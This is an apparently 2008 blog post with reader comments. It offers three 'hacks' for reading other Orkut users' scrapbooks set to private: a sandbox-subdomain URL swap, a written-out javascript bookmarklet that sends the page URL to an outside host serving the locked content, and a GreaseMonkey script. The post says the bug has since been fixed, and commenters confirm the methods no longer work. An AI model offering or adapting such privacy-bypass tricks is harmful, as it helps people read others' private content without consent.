Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!
You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 3, 2008)
Here comes another blow to the orkut’s privacy features! This time scrapbook privacy has been compromised and considering 3 ways to do this it may take some time for orkut to revert back! What worsen things for orkut is that this bug is in orkuts sandbox – part of Googles much hyped newly launched Open Social Platform!
Say you are orkutting and bumped into a screen saying “This content has been set to private by the profile owner” when you click on a persons scrapbook! Also see following screenshot…
Now we have 3 ways read locked scrapbook!
#1. Orkut Sandbox
This will work only if if you have access to sandbox.
Note www in URL before orkut.com and just change it to sandbox!
So
http://www.orkut.com/scrapbook.aspx?uid=[some_num]
will become..
http://sandbox.orkut.com/scrapbook.aspx?uid=[some_num]
#2. JavaScript
A little javascript will redirect you to a page where unlocked scrapbook waiting for you. Just put following javascript code in browsers address/navigation bar and hit enter!
javascript:document.location='http://rodlac.freetzi.com/ViewScraps.php?uid='+encodeURIComponent(location.href);void(0)
You can also use following bookmarklet if your browse supports it!
#3. GreaseMonkey Script
If you want to read many locked scrapbooks then it will be better to automate this for once!
This will require firefox and GreaseMonkey.
Click here to install View Locked Scrapbook Script
Credits: Rodrigo Lacerda, the dude who figured out this bug & Gaurav for telling me about it!
Important Update: This hack is rectified by orkut. SO IT WILL NOT WORK ANYMORE. If I find a new hack I will definitely post it here!
You may subscribe to my RSS feed or email alert to receive automatic updates regarding this and other hacks in future! (Jan 3, 2008)
15 Comments
Thanks for the tricks mate. but the domain rodlac.freetzi.com has been suspended mate. any hope or any other ways to do this now? thanks
Hey Rock, Thanks for updates! 🙂
May be you can try rest of the two ways… 🙂
This Account Has Been Suspended
Please contact the billing/support department as soon as possible.
They blocked that site
Ya.. I guess u r right!
By the time u can try other sandbox way! 🙂
not working
@Don
Sorry dude. You got late! The bug is fixed but dont get disappointed. A new bug will be soon discovered! 🙂
boss the tree ways r not working//////
no method is working dude.
@Saurabh & Ajay
First Sorry for late reply as I went offline for Xmas vacations! 🙁
I also mentioned this trick is outdated at the beginning of post! So do not expect it to work!
If I will find any new working trick I will post it here so you may like to subscribe to my RSS feed for automatic notification of new hacks! 🙂
wishin you merry xmas and a very happy new year!
-Rahul
Hi!
Is there any new way to read locked scrapbook at present?
…coz none of the JavaScript/s are working now ! 🙁
@Pinki
We are working on the issue. Once we get new trick we will post it on this blog!
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